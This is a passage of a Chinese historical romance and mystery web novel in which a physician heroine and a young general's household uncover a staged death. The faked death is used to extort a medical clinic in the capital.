“霍家执掌兵权,镇守边关多年,皇帝早就看不顺眼了,哦不,是满朝文武都看不顺眼,奈何当年大案一出,文臣武将只剩下文臣,武将之中都没挑出个能扛的,迫于无奈,这才有了霍家如今的地位。”霍青行很清楚,如今自己面对的是什么。 陈识月敛眸,“功高盖主。” “功高盖主又如何呢?得先有功高不是吗?霍家的军功都是一刀一剑,拿自己的命搏来的,谁敢不服,就去上战场。”霍青行一点都不惧,“奈何满堂都是胆小鬼,没一个不怕死的。” 既然都是贪生怕死之辈,那就别动霍家! 没了霍家父子守住边关,哪儿还有金都城内的繁华安稳? 何况,霍家从不轻易回朝,不干涉朝中那些尔虞我诈的纷争,只一心一意守边关,帝王和朝臣这才稍稍放心。 “月儿。”霍青行握住她的手,“不要有心理负担,也不要自我愧疚,凡是让你觉得不舒服的人和事,都不该成为你愁容不展的理由,摒弃那些便是,没什么可惜的。” 陈识月笑道,“战场上回来的人,就是看得通透。” “因为知道生与死,就只是一念之间,很多无所谓的东西,其实都可以放下,除了性命……其他的都不重要。”霍青行轻轻的将她揽入怀中,“月儿,一辈子说长不长,说短不短,也许哪天眼一闭就过去了,不要再纠结那些没意义的事情,要去做自己觉得对的事!” 纠结,是最没意义的。 不选择,怎么知道对错呢? 那就选,选了就不要后悔。 人这一辈子,谁还没有选错的时候呢? “我是不是太矫情了?”陈识月忽然问。 霍青行笑道,“对着未来夫婿矫情,不是应该的吗?你若不矫情,我哪有机会哄你开心?” 陈识月:“……” “不要胡思乱想,好好休息。”霍青行在她眉心落吻。 今晚的事情,还得好好复盘,着人仔细盯着,还有很多事情要做,自然没办法再耽搁下去。 “嗯!”陈识月点头。 怕她不放心,他才特意过来一趟,如今也该走了。 霍青行快速离开,陈识月还站在原地,保持着看他离开的姿态。 “姑娘?”迎春上前,“走远了。” 陈识月:“……” “看出来了,姑娘很喜欢少将军。”冬梅笑盈盈的开口。 迎春又道,“姑娘好眼光,少将军人品贵重,功夫又好,真真是世间极好的男儿,想来嫁入了将军府,定不会亏待了姑娘。” 陈识月的面上微红,转身往屋内走,“我去看账本。” “当然,姑娘本身也是极好的人,不管谁和姑娘在一起,都会幸福的。”迎春紧随其后。 陈识月顿了顿,“我?” “是啊!姑娘会医术,又温柔体贴,还深谙人心,行事谨慎小心,大事上毫不犹豫,只叹姑娘不会功夫,要不然的话,当个女将军也不是不可以!”迎春笑着为她沏茶。 陈识月有些不好意思,“你这一通夸的,我都快找不到北了。” “找不到北就不找了呗,咱可以找东西南啊!”冬梅端着水盆进门,“反正不管姑娘找哪个方向,少将军都会在前面等着,定然不会让新媳妇跑了的。” 迎春笑出声来,陈识月连耳根子都滚烫起来,一时间好似身子都有些发热。 “你们就莫要取笑我了。”陈识月赶紧拿起账本。 奈何,一个字都看不进去。 真是造孽啊! 将军府。 霍青行前脚进门,管家后脚就跟上。 “人回去了吗?”霍青行问。 管家点头,“放心,已经回去了,给他十个胆子也不敢吱声,不过我已经派人盯着,应该不会出太大的篓子。” “注意点,估计要跑。”霍青行叮嘱。 管家应声,“是!” 好几双眼睛盯着,应该不可能跑了,何况他一跑就等同于打草惊蛇,怕是连命都得赔上。 “对了少将军,那赏菊宴……” 第三百零九章 随时跟她汇报行踪 提到这赏菊宴,霍青行就脑瓜子疼,“皇帝亲口,岂敢抗旨?” “是!”老管家自然也不好说点别的,话都说到这份上了,只能是硬着头皮去一趟宫里,只不过那地方……不是什么好去处,吃人不吐骨头,人人都带着一副假面。 霍青行不屑于这些应酬,但既然回了金都城,又不得不入乡随俗。 不过,还没等到赏菊宴,倒是先遇见了不该遇见之人。 翌日。 霍青行刚从六部衙门出来,一眼便瞧见了那抹明黄色的身影。 “霍哥哥!”杨明慧很是热情,看得出来心情不错,见着霍青行神情一僵,下意识的止步,“霍哥哥为何总是一副不高兴的样子?” 她看了一眼霍青行身侧,之前都打听过了,那男子叫林序,一直跟在霍青行左右,两个人焦不离孟,孟不离焦的,形影不离,关系匪浅。 今日没瞧见? 难道霍哥哥就是因此而不高兴? “杨姑娘说笑了,咱平时就是这般模样。”霍青行不想解释太多,但碍于身边还有同僚在场,没有转身就走,已经很给杨家面子。 杨明慧缓过神来,瞧了一眼站在霍青行后面的那些衙门同僚,自知有些话不该在这里说,只小声的开口,“兄长与孙家公子他们在校场,商量着明日来一场蹴鞠比赛,想着霍哥哥刚回金都城,也需要跟诸位公子多多接触,便想着让我过来送请帖。你不在将军府,我便赶紧送来衙门,免得你错过。” 说着,她将烫金帖子递过去。 霍青行深吸一口气,伸手接过,“多谢!” 是该接触解除,免得赏菊宴那天,两眼一抹黑。 见着霍青行伸手接了,杨明慧当即笑靥如花,“那明日我在校场等你。” 语罢,她拎着裙摆,笑盈盈的离开,脚步轻快。 见此情形,身后众人不由自主的笑了。 少女怀春,人尽皆知。 “少将军年少有为,又生得俊俏,难怪小姑娘见着你脸红。” “可不是嘛,少将军在边关屡立奇功,回到金都,皇上亲自召见,亲封西郊大营都副指挥使,来日前途无量。” 帝王的宠信,那便是未来的前程。 谁不喜欢前途无量的少年郎,何况这少年郎又出自将门霍家,还是个有真本事的,沙场磨砺让他更加沉稳,五官轮廓愈显刚毅。 如此这般,莫怪姑娘家红鸾星动…… 霍青行看了一眼说话的人,握紧了手中的帖子,“孙大人过奖了,为皇上效命,乃是臣子的本分,凡所有皆为帝王赏赐,岂敢邀功?” 夸霍青行在边关屡立战功的,便是孙乾,闻言便笑了两声,“少将军过谦了,有霍家在,边关得安,咱才能踏踏实实在金都城为皇上效命,天下才能太平,百姓才能过安稳日子。功是功,过是过,咱岂能混为一谈。” 功是功? 过是过? 呵,好赖话都让他说完了。 “孙大人所言极是,功过自有评说,无需自证清白。”霍青行把玩着手中的请帖,“孙公子,不会就是孙大人的儿子吧?” 闻言,孙乾心中一惊,但面上不显,依旧是是那副温和的笑容,“正是犬子,平日里惯会耍点小动作,不好好念书,文不成武不就,到时候少将军见着,可莫要取笑呀!” “我都好多年没踢过蹴鞠了,兴许比孙公子还不如,岂敢取笑?”霍青行晃了晃手中的请帖,抬步朝着外头就走,“没什么事,我去西郊大营了!” 孙乾站在台阶上,瞧着他大步离去的背影,唇角依旧保持着温和的浅笑。 为了避免被杨家的人纠缠,霍青行今日去了西郊大营。 管家让人来报消息的时候,陈识月正在回春堂里,帮着伙计处理药材的事情,当下点点头。 “姑娘,没别的话啊?”管家低声问。 陈识月愣了愣,“要、要说点什么吗?” “我家这位少将军,年轻气盛,又因着常年在边关,所以很多时候都是直来直去的,不懂得绕弯子,也不懂得如何哄姑娘开心。”管家絮絮叨叨。 陈识月有些迷茫了,拨弄着手中晾晒的药材,一时间不知道该如何回答。 “但我可以保证,少将军这人绝对不会有二心,霍家祖训,不可纳妾,此生必定是一生一世一双人,要不然老将军都不会放过他。”管家凑在陈识月的身侧,笑盈盈的开口,“姑娘,您知道咱的意思吧?” 陈识月顿了顿,“嗯。” “姑娘明白少将军的心意就好!”管家如释重负,就像是生怕陈识月跑了一般。 迎春在边上直挠头,到底是跑江湖多年,很多事情都看得明白,不像是陈识月,此前不是医理就是药里,光知道治病救人和躲官兵,所以这会其实不太能理解,老管家的意思。 待老管家离开,瞧着陈识月还愣在原地,迎春急忙解释,“姑娘,老管家的意思,您没明白?” 陈识月支支吾吾了半天,“是怕我误会,他今日没来找我,所以通知我一声?” “进出有音,寻人有地,是少将军和将军府给与您的尊重。”迎春解释,“老管家的意思是,您已经是将军府的一份子,认可您了。” 陈识月忽然笑了,“我倒是没想太多。” “少将军走哪,都能给您一个消息,说明对您的重视,怕您寻不着他,时时刻刻跟您保持联络,以免出事找不到人。”迎春继续解释,“老管家这是怕您跑了!” 陈识月面颊微红,“我又不是那么不讲理的人。” “怕您没安全感。”迎春笑着帮忙,曝晒药材。 趁着今日天气好,赶紧都曝晒开来,前阵子天气不好,都快生出霉味来了。 陈识月了悟,她如今身份尴尬,老管家怕她不好意思,所以……都是一群善良的人,给与她尊重与关怀,大家真好! “迎春,你懂得真多。”陈识月转移话题。 迎春手上的动作一顿,略有些尴尬的笑笑,“因为吃过亏,自然懂得多些。” “嗯?”陈识月不敢置信的看向她。 吃过亏? “别提那些陈年旧事了,反正将军府是极好的选择,少将军人品贵重,姑娘不会吃亏的。”迎春打趣道,“我瞧着少将军,恨不能把姑娘揣在心口上,疼得紧!” 话音刚落,外头忽然闹起来。 二人纷纷转头看向门帘,声音好像是从前面的堂口传来的,不知道出了什么事? “我去看看,姑娘别出来!”迎春做事小心,示意陈识月留在后院,“若有什么事就从后门走。” 第三百一十章 好像嗅到了熟人? 陈识月默默的放下了手中的药材,站在了边上,仿佛是做好了从后门离开的准备。 见此情形,迎春才放心的掀开了门帘,朝着前面走去。 陈识月等了一会,迎春忽然打了帘子,急急忙忙的跑过来,“姑娘,前面出事了,说是回春堂的大夫治死了人,您要不要去看看?” 这事不是冲着陈识月来的,自然没什么大碍,就是这热闹吧……可能有点血腥。 陈识月本来就是大夫,一听这话当即走了出去,眼下白老爷不在回春堂,白清舟也出去了,回春堂只有坐堂大夫和掌柜主事,若是真出什么事,可就不得了了。 外头,乱糟糟的。 回春堂外头也围拢着不少看热闹的百姓,一个个探着头往里看。 只瞧着大堂内,一副白色的担架上,躺着一个人男人,瞧着好像已经死了,胸膛无半分起伏,只不过这脸色虽然灰败,却没有明显的死气。 有人还在大声嚷嚷着,“你们回春堂草菅人命,开的药吃死了人,还想不认账?我告诉你们,这件事没完!没完!” “就是!”有人附和,“吃死了人,就得负责!要么好生安葬我父亲,赔钱了账,要么我就告到官衙,让你们回春堂关门!” “当家的出来,掌柜出来,给个说法,不给说法就告到官衙!” “对,告到官衙,告到官衙!” 陈识月皱起眉头,若有所思的瞧着地上的尸体。 “姑娘!”迎春一把拽住她,“您作甚?” 眼见着她要上前,迎春也是有些担心。 “我觉得有点不太对劲。”陈识月低声开口。 迎春皱眉,“除非是会龟息功,否则的话,我瞧着是没有气息了!” 尸体应该是没问题。 “眼下天气还有点热,不至于秋冬寒凉,这要是死了几个时辰了,估摸着也该有点味。”陈识月压低了声音,“可我嗅着好似没有。” 有脚臭味,有汗臭味,就是没有腐臭味! “嗯?”迎春不知道陈识月的嗅觉灵敏,自然也不清楚陈识月有这样的本事,不过天下无奇不有,有些人有些天赋也很难说,“姑娘能闻出点东西来?” 陈识月点点头,然后看了一眼如今的场景,“先静观其变。” “嗯!”迎春点点头,护着她往边上靠一靠。 既然闻出点不对,那就看看,到底哪儿不对,趁着众人叽里咕噜的争吵,陈识月已经行至担架边上,可惜不能现在出手,要不然他们就会把目标落在陈识月的身上。 大夫自然不信,“这药方绝对没有问题,我开的药也没有问题,你们若是不信,大可直接去报官。我行医数十年,不可能连风寒都治不好。” 回春堂的大夫医术最好,不可能连个风寒都治不好,这是大实话,满城都知道的事情,即便是老眼昏花也不至于到这样的地步。 “没错!”外头的百姓也点头,“回春堂的大夫可治疑难杂症,且是最认真的,当初我家孩子就剩下一口气,也是回春堂的白大夫给救回来的。” 虽然白重不经常接诊,但若是遇见濒死危难,也是毫不犹豫的。 白家在金都城,也算是书香门第,医药世家,谁人不知白家乐善好施,若是真的遇见了难处,回春堂看病是不会收诊金的,只给药费便是。 毕竟,药草也是回春堂采买的,自然不能做赔本买卖。 如此这般,对百姓而言,已然是善举。 “我相信回春堂的大夫。” “我也相信。” “回春堂的大夫不会出错,肯定是哪儿不对。” “说不定是自己快要病死了,就来讹一笔。” “若是如此,还不如就此报官。” “对,应该报官。” “报官!” “报官吧!” 大夫和这帮所谓的苦主还在扯皮,紧接着便是打砸,桌案被掀翻,这些人还冲到药柜前面,几乎要将药柜打砸干净。 伙计上前拦阻,所有人都拼命拦着,药柜里的药材若是被打乱,到时候便是全废了,收拾起来的难度几乎无法想象。 “住手!你们都住手!”掌柜被人推倒在地。 老大夫也被人围殴,一下子乱了套。 “迎春,帮忙!”陈识月忙喊着,“不要打了!不要打了!” 外头已经有人去喊衙役了,若不尽快,怕是回春堂都要废了。 远处,白重刚与李严回来,乍一眼回春堂这境况,有些发懵。 “这是去回春堂吗?怎么瞧着像是开了庙会?”李掌柜有点不解,“平日里,你回春堂的生意都这么好的吗?” 白重诧异,“不至于不至于,最近天气没多大变化,冬日里会人多一些,如今还不到季节呢!” “那这是怎么了?你远房亲戚来了?寻亲呢?”李掌柜打着趣。 下一刻,白重一拍大腿,“哎呦我的娘诶!” “住手!住手!” 老天爷啊,这帮龟孙儿打砸他的回春堂呢! “都住手!”李掌柜慌忙去拉人,将挨揍的大夫推到了后堂,一脚就踹开了冲上来的壮汉,“再敢发疯,全都送到官衙!” 说话间,外头的百姓已经叫了衙役进来。 衙役一进来,当即将双方分开,“闹什么闹,都给我带去衙门!” 闹成这样,成何体统。 白重脑瓜子都被摇匀了,这下子又被带到了衙门,整个人都是慌乱无措的,没闹明白前因后果,眼神都有些迷茫。 府尹柳大人端坐在上,有点闹不清楚状况,“怎么回事?怎么还打砸了回春堂呢?” 好端端的,闹什么呢? “大人啊!大人!”壮汉开口,“咱们就是去了回春堂开了点风寒的药,结果我爹回家就吃死了,大人啊!您要为我们做主啊!我爹原本好好的,就一个风寒……便被回春堂的人给吃死了!” 说到这,七尺男儿也开始嘤嘤啜泣,瞧着倒是情真意切。 可这话,是真的吗? “大人!”捕快忙道,“是死了。” 担架上的人,的确没有呼吸了,身子也有些微凉。 陈识月在人群中站着,因为没有参与斗殴,所以没人注意到她,但她很清晰的看到,衙役在摸尸身的时候,尸体表面还是有弹性的。 按理说都这么久了,尸体如今应该僵硬,且她猫着腰瞧了两眼,尸身上好像没有出现尸斑。 这种种迹象都说明,事情有点不太对头。 蓦地,陈识月转头环顾四周,眉心微凝。 “怎么了?”迎春小声问。 陈识月嗅了嗅,“好像遇见熟人了!” 迎春:“??” 熟人? 谁? 第三百一十一章 死而不僵,死而不腐! 已然嗅出了不对劲,陈识月自然不会再窝在人前,默默的带着迎春离开,行至偏僻处才探出头来,查看外头的境况。 见此情形,迎春明白了过来,这不是什么熟人,可能是敌人。 “死对头?”迎春低声询问。 陈识月摇摇头,“应该不算是死对头,但是彼此接触过,唯恐她还记得我们,到时候可就说不清楚了,所以还是小心为上,以免生出变故来。” 万一从中作梗,那就不太好了。 更何况,她还得在这黑压压的人群中,找到气味的来源处。 人在哪儿呢? “原来如此,那就是……敌友难分。”迎春明白了。 陈识月点点头,“是这个理儿,我们救了她,但是她跑了,险些害了我们。” “白眼狼!”迎春了悟,“那就不得不防了。” 恩将仇报之人,会背刺之人,绝对不能大意。 陈识月没有再说话,小心总归没错的。 公堂上,柳大人一拍惊堂木,底下的议论声登时消失无踪,所有人的眼睛都齐刷刷的落在堂上,一时间也不敢再多说什么。 “肃静!”柳大人冷着脸,“都别吵了!” 听着方才这些人的议论,柳大人也算是明白究竟怎么回事,但人的确是死了,这里面肯定是有点问题的,但是让仵作来验尸,还是需要家里人同意。 毕竟,开膛破肚,不是什么好事。 自古有言,死者为大,入土为安。 家里人没答应,仵作也不敢下手。 不过,来看看表面还是可以的,只不过眼下这局面,还是先问清楚眼前的情况再说。 “去把药渣取回来。”柳大人开口。 衙役赶紧离开。 大概是觉得有些异常,柳大人偏头低声问,“欧阳捕头还没回来吗?” “暂时还没回来,说是家中有事,要离开好一阵子。”衙役回答。 柳大人讪讪的点头,“说是这么说,但他从未离开过这么久,本府倒是有点不太适应了。” “大人!”白重开口,“我回春堂在金都府立足十数年,不说名满金都,至少也是有口皆碑。杀人害命的事情,咱可是不做的。” 这话,柳大人自然是相信的。 谁人不知回春堂? 不说起死回生,至少也是端端正正做人,一本正经的开门看诊治病,不会耍那些不该有的滑头。 “说咱药死了人,那也得拿出证据,此人的确在我回春堂看过病,开过药,但是不能因此就断定我回春堂的大夫害死了人,若人人都是如此,那天底下的大夫岂非人人自危?”白重如今回过神来,便算是明白了,这可能是来讹钱的。 柳大人点点头,“没错,是这个理儿。” “大人!大人!”壮汉急了,“我父亲就是吃了他们的药被毒死的,草民没有说谎,大人,您不能包庇他们!” 一听这话,柳大人恼了,“混账!” 惊堂木狠狠落下,惊了当下的所有人。 “本府素来秉公办案,从不徇私枉法,尔等岂敢胡言乱语?”柳大人冷着脸,“再敢无的放矢,小心本府板子伺候!” 壮汉讪讪的闭了嘴,但是梗着脖子,一脸的不服气。 “既然事情已经发生,本府自当查明真相,绝对不会任由无辜者枉死。”柳大人义正辞严,“众人稍安勿躁。” 府尹都这么说了,众人也不好再多说什么。 陈识月转身离开。 “姑娘,不管白老爷他们了?”迎春在后面跟着。 陈识月倒也不急,“不,就是因为要管,所以我得找人帮忙。” “找人帮忙?”迎春不解,“姑娘有什么事只管说,我能做到的……” “你做不了!”陈识月拐个弯,轻车熟路的去了停尸房。 迎春:“……” 瞧着上方这三个字,迎春脑瓜子嗡嗡的。 装死人吗? 也不是不可以。 “你方才不是说,会龟息之术的话,就能屏住呼吸,跟死人无异?”陈识月回眸看她。 迎春点头,“是!” 说话间,陈识月已经踏入了停尸房。 仵作正在上香,听得脚步声便回头看来,“公子?” 熟人。 “你怎么过来了?”仵作诧异。 此前认尸的时候,仵作也算看出来了,这少年人懂不少东西,可惜寻常人很少去当仵作,总觉得是贱活,要不然他真的想收个徒弟。 少年人脑子活络,眼睛明亮,说话条理清晰,真是难得啊! “大堂上抬来了一具尸体。”陈识月边拱手行礼,边仔细的开口,“但是那具尸体死了好几个时辰也没见着尸斑,身子还保持着一定的柔软,另外便是我瞧着那尸体……没有一点死气。” 听得这话,仵作眼前一亮,“还有这等怪事?” “是!”陈识月点点头,“如今他们打砸了回春堂,我寻思着可能不只是讹钱那么简单,闹不好是想来点别的事儿,总不能让好好一间医馆遭无妄之灾。百姓需要医馆,需要好大夫,不能让好人寒心。” 仵作方才也听到了动静,如今听得陈识月这般言语,当即去洗了手,“若是如此,我倒是想看个究竟,他们到底做了什么事,能让尸体死而不僵,死而不腐?” 这要是破解了其中奥秘,来日说不定能有大用处呢! 停尸房和义庄,最不缺的就是尸体,但每次这防腐问题上,总让仵作头疼,案子没结束,尸体就腐败了,着实不是好事。 每每如此,仵作都免不得自责。 语罢,仵作急急忙忙的离开。 死而不僵。 死而不腐。 天哪,好事!好事! 望着仵作着急忙慌离开的背影,迎春皱眉挠挠额角,“姑娘,您就是让仵作去……” “我瞧着那人就没死!”陈识月看向她,“让仵作去,一定能拆穿骗局。” 迎春点点头,眼底透着几分狐疑,“可为什么要打砸回春堂呢?这回春堂在此处多年,也没招谁惹谁,怎么会无端端的招惹上这样的事情?” “若不是自己的对家,就该是有心人,对回春堂有所图,没有无缘无故的仇恨,只有蓄谋已久的恶意。”陈识月小声嘟哝,“走,我们去看看!” 有仵作在,这件事必定可以解决。 回到大堂这边,陈识月的目光还在人群中逡巡,迎春则死死盯着大堂上。 只瞧着仵作跟府尹说了两句,然后便朝着担架上的尸体走去,惊得壮汉瞬时扑过去,“你干什么?你要干什么?休想将我父亲开膛破肚,我第一个不答应!我父亲都被人毒死了,你们不帮着查明真相,严惩凶手,却要对我们这些苦主下手,天理何在啊?” 第三百一十二章 我可以杀你灭口 这一声声歇斯底里的,喊得情真意切,以至于外头的百姓都略有些动容,一个两个的都面面相觑,一时间也分不清楚,到底什么才是真相? 也许,是真的吃死了人? 但回春堂的名声在外,一个风寒而已,不至于吧? 两种声音在撕扯,连上座的柳大人,也没办法轻易下结论,只能用眼神示意仵作。 仵作何许人也? 即便不用开膛破肚,也能看出点名堂来。 比如陈识月说的,死而不僵。 看得出来,皮肤虽然泛起了青灰色,但多少还夹杂着血色,的确不像是死人,但喉间没有动静,没有呼吸没有吞咽。 有点像是活人微死的状态? “迎春!”陈识月伏在迎春的耳畔低语两句。 迎春点点头,“明白了!” 地上有小石子,捡起来就能用。 那壮汉还在喊着,忽然间脑袋一歪,好似晕了。 “哎呦喂,这是伤心过度了?”百姓惊呼。 白重赶紧上前,“我就是大夫,我来看看。” 见此情形,仵作赶紧将注意力落在了担架上,趁着边上那些人只顾着担心壮汉,赶紧上前扣住了尸体的腕脉。 脉搏,没有。 颈动脉,不跳。 但是这身子好像好有点余热啊! 不只是有余热,身子还是绵软的,这根本不是尸体。 但是,为什么没有脉搏和心跳呢? 仵作有些想不明白,迎着堂上柳大人投射而来的目光,终是摇摇头。 没有肯定的事情,那就不能作为证据,只能暂时先放一放,等他回去想清楚了再说,当然这件事还得找些有经验的人问一问才行。 “你干什么?你干什么?” 其他人发现了仵作的行径,赶紧上来拦阻。 “你是要让我们家里人,死也死不安心吗?你们这些杀千刀的,不去抓杀人凶手,却要在这里为难我们这些苦主,我的老天爷啊,怎么不一个雷劈死你们这些丧尽天良的东西?” 男的,女的,嗷嗷的哭。 柳大人只觉得脑仁疼,“哭什么,本府尚未查清楚真相,尚未断案,你们就在这里瞎嚷嚷?现在人都晕了,先抬下去弄醒了再说。” 说着,衙役赶紧上前,将晕死过去的壮汉抬了下去。 仵作回到了柳大人身侧,“这尸体不太对劲,但一时半会卑职也查不出个所以然,瞧着不像是死人,倒像是活死人。” “嗤!”柳大人愣住,“这也行?” 仵作点头,“卑职暂时还没有把握,只能说这尸体不正常。” “本府帮你拖延点时间,你赶紧查清楚,且看是不是有什么意外状况,也能造成这般模样?”柳大人低声开口。 仵作行礼,快速离开。 回到后堂,仵作看向跟出来的陈识月,“公子此前说得有理有据,大概是知道什么吧?” “你去证实了一下,如何?”陈识月追问。 仵作点头,算是肯定了她之前的说法。 死而不僵。 死而不腐。 微死又没死。 “你说的都对。”仵作叹口气,“但是我不明白,要什么样的办法,才能导致这样的状况?回春堂的药方似乎没有问题,药渣虽然还没取来,估摸着结果也是差不多的。” 陈识月近前,“你说会不会是龟息之术?又或者是金针刺穴?” “他身上没有金针刺穴的痕迹,但是这龟息之术,我倒是不曾深究过。”仵作有些疑惑,“能呈现出假死症状吗?” 迎春释疑解惑,“可以!这是江湖人惯用的法子,但不是谁都能将龟息之术练到炉火纯青,若是半桶水,练个半吊子,恐怕会适得其反。” “那他这样的,算是半吊子吗?”仵作不解。 迎春想了想,“我方才仔细观察,算!死而不僵,就已经是破绽。龟息之术,会让人呈现出假死的症状,连带着体温都会冰凉,身子逐渐僵硬如尸体。” “原来如此,那他……”仵作转身就走,“我得去告诉大人,不能让这样的人蒙骗过去,到时候真着了他人的道。” 陈识月却当即拦住他,“急什么?” “为何不着急?人都在大堂里等着呢!”仵作不解。 陈识月忙道,“如此行径,大费周章,必定是有大图谋,不是图财就是害命,您这贸贸然过去了,万一人家不信呢?何况,光凭这些人,如何能做出这般周全的预谋,怕是后面还有人指使。” “嗤!”仵作倒吸一口冷气,“有道理。” 陈识月又道,“您不如悄悄的书信一封,且让府尹大人裁决。” 既是办了无数案子的铁面知府,想必在处理这些事情上,自有他的手段。 “好!”仵作转身就走,然而没走两步又停下来,“公子和回春堂……” 陈识月揖礼,“在下暂居回春堂。” “哦,对对对。”仵作头也不回的离开。 待人走后,迎春开口,“姑娘,咱接下来做什么?” “接下来就是衙门的事情,我也帮不上其他的忙,但有些事我需要你帮忙。”陈识月回到了前面,照旧没混在人群里,而是扒拉在柱子后面,张望着拥挤的人群。 到底在哪呢? 藏在何处了? 陈识月皱起眉头,只不过人挤人的,看不太真切。 蓦地,她好似发现了什么,瞧着那一道纤瘦的身影出了衙门。 “迎春,跟上!”陈识月慌忙迈步。 迎春毫不犹豫的追过去。 不管对方是谁,只要姑娘下令,她必定照办不误。 那人一袭长衫,瞧着是个俊俏的少年郎,灰色的长衫将人衬得颀长,只瞧着她出了衙门之后,快速混入了街头人潮之中,眨眼间便穿过街道钻进了对面的巷子里。 “迎春,别跟丢了。”陈识月忙道。 迎春的速度很快,霍青行此前就说过,她的轻功罕逢敌手,只要她想跟,一定能跟上。 当然,也有可能惊醒对方。 巷子里有些昏暗,两侧竖起的高墙,似乎一下子隔绝了周遭的声响,让这巷子没来由的安静下来,隐隐透着一股子阴森邪意。 陈识月追进来的时候,已经没了迎春的身影,让她不由得心神一震,下意识的止步。 前后查看,左右高墙。 蓦地,陈识月喉间滚动,握紧了袖中的短刃,默默的转过身来,看着不知何时,已经站在自己身后俊俏少年郎。 四目相对的瞬间,彼此都是聪明人,一眼就认出了来人,只不过谁也没有率先开口。 终于,还是对方没忍住。 “这青天白日的,你就敢跟踪我,不怕我回头便杀你灭口吗?你知道的,我有能力这么做,而你身边无人,没有反抗的余地。” 第三百一十三章 她身上好多秘密 话是这么说的,可到底成与不成,不是一人说了算。 “你的名字也是假的吗?”陈识月问。 大概没料到,陈识月会这么淡定,即便到了这份上,竟还是一副镇定自若之色,不由得眉心微蹙,若有所思的打量着眼前的陈识月。 “你不怕我杀了你?” 闻言,陈识月双手环胸,就这么平静的看向她,“你觉得你能杀得了我?陆离姑娘?” 她把对方的名字,咬得极重,字字清晰。 听得这话,陆离眸色陡沉,眼中已经有了杀意。 “那些人还在找你吧?”陈识月继续开口,“你藏头露尾,依旧要躲着他们,凭什么觉得,你能杀得 了我?” 陆离裹了裹后槽牙,杀意毕现,“就凭你现在身边无人。” 试探了一番,确定陈识月便是销金窝里出来的,并且认出了自己……好在周遭无人,陆离便没了顾虑,旋即飞身而起。 “先过我这关!” 迎春的身影骤然从墙头蹿下,直接迎上了陆离,动作干净利落,毫不拖泥带水,想在她跟前动陈识月,先问问她的剑答不答应。 许是没料到半路会杀出个迎春,又或者是陆离的身子本就没康复,这一下子打得陆离措手不及,以至于完全不是对手。 迎春是江湖出身,下手讲求快准狠,与霍青行这些行伍之人一般,第一反应就是撂倒对方。 敌不死,就是我死。 这种状况下,哪有手下留情可言。 等陈识月发话,让迎春手下留情,已经来不及了。 迎春一剑就刺进了陆离的肩头,反手便是一掌将人震飞出去,狠狠撞在了墙壁上,落地便只剩下了一声闷哼,便没了动静。 那一刻,四目相对。 迎春:“……” 陈识月:“……” 下手快了,没来得及…… “没收住。”迎春默默的擦去软剑上的血,略有些尴尬的收回腰间,“不过,应该没死,最后这一掌我收了力道的!” 陈识月回过神来,赶紧上前查看。 “还活着呢!”陈识月松了口气,“不过伤得挺重的。” 旧伤新伤,可不是挺重嘛? “那她怎么办?”迎春问,“丢医馆去吧?” 陈识月点头,“不能带她回我们的小院,免得暴露了我们自身,送医馆最是妥当。” “我来!”迎春旋即把人抱起来。 陈识月旋即褪下了自己的外衣,覆在陆离的身上,免得这血糊糊的,到时候惹人注意,吓着路边的孩童也不好。 这都是外伤,寻常大夫都能治。 无外乎是上金疮药止血散,好好缝合包扎,剩下的便是听天由命。 “伤得不轻啊!”老大夫皱起眉头。 陈识月连连点头,“多谢大夫。” “大夫!”迎春旋即塞了银子,“人是我们从路边捡回来的,不知道怎么回事,受了这么重的伤,咱也不想招惹是非,还望大夫能守口如瓶,免得给咱们大家都找上麻烦。” 老大夫又不是不懂,这么重的利器伤,还夹杂着内伤,不是寻仇就是被人寻仇,总不是什么好事,有银子拿,该闭嘴就闭嘴。 “放心。”老大夫收了银子,“咱只是个小医馆,可经不起折腾,等她醒来就离开吧!” 迎春连连点头,“好!” 老大夫离开之后,陈识月便扣上了陆离的腕脉。 迎春在边上守着,时刻留意着外头的动静。 “新伤旧伤,内伤不轻啊!”陈识月小声嘀咕,“光这些金疮药和止血散,救不了她的命。” 语罢,她从随身小包里,取出了针包。 “迎春,帮我留意外头,别让人进来,我给她施针。”陈识月叮嘱。 迎春二话不说便守在了门口,只要有她在,谁也别想闯进来。 陈识月的动作很麻利,解开了陆离的衣裳,快速为其施针疗伤,光止血是没用的,这姑娘的伤势很重,而且是重叠起来的,可见她的日子不好过,几乎是一路杀过来的。 如此,也就能解释,为什么见着有人认出了自己的身份,这陆离就喊打喊杀,可能在她的世界里,非黑即白,不是生就是死。 不知道是因为疼痛,还是高热的缘故,陆离一直在哼哼唧唧,说到底,也只是个年轻的姑娘,不知道经历了什么,身上竟这么多的伤? “这些疤痕,好像都是利器所伤。”迎春探头看了一眼,“还有箭伤?” 陈识月与她对视一眼,“我不会救了个细作吧?” 迎春:“……” 没那么巧吧? “这是剑伤,这粗细应该是刀伤,这是箭矢之故,还有她肩膀这里,是鞭痕。”陈识月越讲越心惊,道了最后,只剩下跟迎春,大眼瞪小眼。 室内,寂静。 两人的心里都是乱糟糟的,不会真的是别过细作吧? 这么多的伤,要么是仇家很厉害,要么就是暗卫或者是死士,一直在执行任务的路上,毕竟一个女子,总不能参军入伍受伤所致吧? “不然,去跟将军府说一声吧?”迎春低低的开口,“万一真的出了岔子,咱可就造孽了!” 若是敌国细作,救了这一个,却等于害了百姓和边关将士。 “嗯!”陈识月也是这个心思。 这事,她做不了主。 待情况稍微缓和之后,迎春便让医馆里的小童去将军府报个信。 不多时,老管家急急忙忙的赶来,身后跟着两个人。 “金伯。”陈识月忙上前,“人在那里!” 老管家点点头,“放心,交给我便是。” 旋即手一挥,便让身后的人,把昏迷的陆离带走。 “我会把她送到庄子里养着,派人看着她,姑娘只管放心。”老管家瞧了一眼陆离,“只是这人……” 陈识月伏在他耳畔低语了几句,算是解释。 “白眼狼啊!”老管家沉着脸,“我知道该怎么应付了。” 陈识月又道,“我担心是细作,她身上各种伤疤,是以照料起来,还望金伯多费心,免得从中牵扯出不必要的麻烦。” 闻言,老管家倒吸一口冷气,“懂了,多谢姑娘提醒。” 瞧着老管家匆匆忙忙离去的背影,陈识月松了口气,“人交给将军府,我就放心了,不管是国仇还是家恨,应也有个说法,你我且等着便是。” “从销金窝里跑出来的,本事不小。”迎春嘀咕,“形单影只,不像是有同伙的样子,方才我与她动手的时候,这功夫倒是挺扎实,但是路数却有些怪异,像是东拼西凑自个胡乱学的,拼的就是一股子狠劲。” 陈识月没听明白,“你是说……她不像是认真学的功夫,而是偷师,或者是自学?” 第三百一十四章 可能是许家的人 迎春点点头,“是这个意思。” 